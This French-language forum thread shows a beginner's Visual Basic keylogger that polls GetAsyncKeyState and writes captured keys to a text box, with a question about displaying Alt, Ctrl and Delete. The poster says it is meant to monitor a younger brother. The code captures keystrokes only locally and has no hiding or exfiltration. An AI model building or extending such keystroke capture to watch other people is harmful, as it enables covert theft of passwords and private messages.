Visualises(alt/shift/suppr..)dans un keylooger ?

@§§IloveVB§§@

Bonjour tout le monde

J'est créer un simple  keyloger (pour surveillé mon pc) avec la commande GetAsyncKeyState(i) mes le problème c'est que

Les touche (alt suppr clrl. ) son représenté sous forme d'un caractère bizarre il a-t-il une solution pour  les

Visualises  ?

Code:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

Dim result As Integer

For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)

If result = -32767 Then

Text1.Text = Text1.Text + Chr(i)

End If

Next i

End Sub

Remarque

si se code est contre le règlements du forum acceptez tout mes excuse

car mon but et de créer un logiciel pour protéger mon petit frère contre

les site illégal    

@§§§merci§§§@

Merci  debutant VB cest intégrant comme solution mes ca retroune les code ascii donc le problème persiste toujours

Encore merci pour ton aide     

@§§§résolu§§§@

C'est  exactement ce que je cher cherche  mes je te conseille d'ajouter des commentaire qui aidera

Les débutant a comprendre ton script qui sert a clarifier ton code en fin merci pour ton aide tu est

Le meilleur